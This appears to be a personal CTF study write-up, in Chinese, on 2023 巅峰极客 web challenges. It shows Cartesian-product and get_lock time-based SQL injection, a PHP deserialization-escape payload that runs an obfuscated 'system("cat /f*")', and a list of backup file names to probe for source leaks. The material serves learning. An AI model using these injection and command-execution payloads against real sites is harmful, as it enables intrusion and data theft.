CTF经验总结
2023巅峰极客
SQL注入
笛卡尔积延时注入
本题过滤了已知的延时函数,看了wp和大佬的一些文章后做了总结
当题目过滤了所有的延时函数,但还需要通过延时注入去打的时候可以使用该方法,该方法是通过笛卡尔积运算,运算过程时间长,从而达到延时的效果(个人理解)
例如:
SELECT * from database.tableA,database.tableB
就会对tableA,B进行笛卡尔运算。
笛卡尔积运算效果
tableA:
id | user |
---|---|
1 | a |
2 | b |
tableB:
uid | name |
---|---|
3 | c |
4 | d |
笛卡尔积运算效果
id | user | uid | name |
---|---|---|---|
1 | a | 3 | c |
1 | a | 4 | d |
2 | b | 3 | c |
2 | b | 4 | d |
实际测试发现使用information_schema.columns不稳定,因为对于不同的数据库,columns的数量是不同的,太少起不了延时效果,太多可能会导致数据库崩溃。
使用character_sets(41行)和collations(222行)效果可能会好点,因为数据量相对计较统一。
mysql> SELECT count(*) FROM information_schema.plugins ,information_schema.plugins A,information_schema.collations ,information_schema.collations B;
+----------+
| count(*) |
+----------+
| 95413824 |
+----------+
1 row in set (4.58 sec)
同名表后面跟着的A,B是别名,不然选取同一个表会报错
mysql> SELECT * from information_schema.plugins,information_schema.plugins;
ERROR 1066 (42000): Not unique table/alias: 'plugins'
题外话:
- 查阅资料学到了更多的延时函数:例如:get_lock函数,
- 个人设想:有没有什么循环的函数通过控制循环次数也能达到延时效果,以后深究
get_lock函数
Tries to obtain a lock with a name given by the string str, using a timeout of timeout seconds. A negative timeout value means infinite timeout. The lock is exclusive. While held by one session, other sessions cannot obtain a lock of the same name.get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。 在一个session中锁定变量,同时通过另外一个session执行,将会产生延时
当我们锁定一个变量之后,另一个session再次包含这个变量就会产生延迟。(不太懂这句话,.大概意思就是先锁定)
mysql> select get_lock('ddog',1);
+---------------------+
| get_lock('ddog',1) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
换新的session(大概是退出刷新一下重新打)
mysql> select get_lock('ddog',5);
+---------------------+
| get_lock('ddog',5) |
+---------------------+
| 0 |
+---------------------+
1 row in set (5.00 sec)
反序列化
反序列化逃逸+无字母数字的命令执行
题目是登陆界面,随便输入登陆后发现获取了用户名,./www.zip获取源码后
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
var_dump(urlencode("\";s:12:\"\000push_it\000pwd\";".serialize(new pull_it("(~".~"system".")(~".~"cat /f*".");"))));
大致意思:它定义了一个名为pull_it
的类,其中有一个私有属性$x
和一个构造函数__construct
。构造函数接收一个参数$xx
,并将其赋值给$this->x
。
然后,使用var_dump()
函数对一个字符串进行URL编码并打印结果。这个字符串包含了一个序列化的pull_it
类实例和其他属性值。除此之外,它似乎还尝试执行一个系统命令,并将结果作为构造函数的参数。
可知是一个反序列化逃逸+无字母数字的命令执行(也不太明白,等再去复习一下反序列化进修一下再回看)’‘
payload:
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D
信息搜集
源码泄露
2023巅峰极客这个unserialize,一直没找到源码,算是孤陋寡闻了。信息搜集没学
大致意思就是网站管理员在运营过程中将网站源码放在了web目录下,通过猜解可得到网站源码,实际上一些工具扫目录估计也能扫到(脑子抽了),题目的源码是在www.zip下,常见的备份文件后缀
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
wwwroot.rar
web.rar
还有一些别的源码泄露:https://www.cnblogs.com/Lmg66/p/13598803.html